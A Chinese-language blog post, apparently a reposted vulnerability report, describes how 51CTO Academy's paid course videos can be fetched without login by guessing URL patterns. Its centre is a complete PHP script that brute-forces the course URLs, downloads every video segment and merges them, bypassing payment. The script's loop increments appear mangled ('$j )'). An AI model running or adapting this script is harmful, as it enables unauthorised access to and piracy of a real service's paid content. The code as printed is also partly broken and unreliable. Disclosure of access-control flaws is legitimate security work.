zoukankan      html  css  js  c++  java
  • 今天离辞职还有两天,发一个不咋滴的消息给大家看看

     

    本文出处来自:“白帽子猪猪侠”

    简要描述:

    最近无意间发现51CTO推出了51cto学院视频。感觉挺不错的,所以就去看看。发现视频的规则和权限设置不当,或可被爆破,无需付金币

    详细说明:

    最近无意间发现51CTO推出了51cto学院视频。感觉挺不错的,所以就去看看。发现视频的规则和权限设置不当,或可被爆破,无需付金币

    漏洞证明:

    简单的看了几个视频对应的URL地址,发现了一些规律性的东西,比如说下面的地址

    http://v1.51cto.com/2014/07/25/33923/general/loco_video_203000_2.ts

    首先确认了,不需要登录就可以下载了。所以说明没有做任何权限判断和过滤,至于ts应该是视频的一个个片段。2014/07/25这个一看就是发布这个课 程的时间。33923就是课程的ID。然后后面就有点雷同了。203000,经过研究发现,大部分情况,后面三个都是0.前面是一个三位数,代表什么意思 不知道。但是好像都不会超过400.后面的_2.ts代表的是视频的片段2.



    经过这样的分析,如果我们手动尝试爆破,肯定就很费事。于是写了一个php脚本测试。还真可以获取成功。说明一种爆破的可能性,代码如下,仅供学习参考

    code 区域
    <?php
    //lesson id
    $id = '31465';
    //lesson publish year
    $year = '2014';
    //lesson publish month
    $month = '07';
    //lesson publish day
    $day = '14';

    if (is_dir('tmp'))
    rrmdir('tmp');

    $split_cmd = '';

    for ($j = 100; $j < 4000; $j )
    {
    $url = 'http://v1.51cto.com/'.$year.'/'.$month.'/'.$day.'/'.$id.'/general/loco_video_'.$j.'000_0.ts';
    $arr = get_headers($url);
    echo 'test url: ',$url,PHP_EOL;

    if ($arr[0] != 'HTTP/1.0 200 OK')
    continue;

    echo 'have fun, we find video',PHP_EOL;
    sleep(3);

    for ($i = 0; $i < 1000; $i )
    {
    $url = 'http://v1.51cto.com/'.$year.'/'.$month.'/'.$day.'/'.$id.'/general/loco_video_'.$j.'000_'.$i.'.ts';
    $arr = get_headers($url);

    if ($arr[0] == 'HTTP/1.0 200 OK')
    {
    echo $url,PHP_EOL;
    if (!is_dir('tmp'))
    mkdir('tmp');
    file_put_contents('tmp/'.$i.'.ts', file_get_contents($url));
    $split_cmd .= $i.'.ts ';
    }
    else
    {
    echo 'all video split download finish, see result.ts',PHP_EOL;
    break 2;
    }
    }
    }
    if (!is_dir('tmp'))
    echo 'sorry, video not find';
    else
    {
    $cmd = 'cd tmp && copy /b '.substr($split_cmd, 0, -1).' result.ts';
    echo 'execute command: ',$cmd,PHP_EOL;
    exec($cmd);
    }


    function rrmdir($dir) {
    foreach(glob($dir . '/*') as $file) {
    if(is_dir($file))
    rrmdir($file);
    else
    unlink($file);
    }
    rmdir($dir);
    }



    测试结果

     

  • 相关阅读:
    Objective-C之NSArray(数组)默认排序与自定义排序
    Objective-C学习笔记之for( int )机制
    OC之NSString、NSMutableString学习笔记 常用方法
    换行回车的区别 2018-10-30
    Python头部2行 #!/usr/bin/python 和 #!/usr/bin/env 的区别 以及编码方式的指定 2018-10-23
    旧版Windows 睡眠与休眠 2018-10-18
    手机尺寸像素 PPI 2018-10-17
    VMvare 虚拟机扩容 2018-10-11
    批量判断网址能否访问 2018-10-04
    字符串的 strip()方法 2018-10-04
  • 原文地址:https://www.cnblogs.com/xiaohukuaipao/p/5305614.html
Copyright © 2011-2022 走看看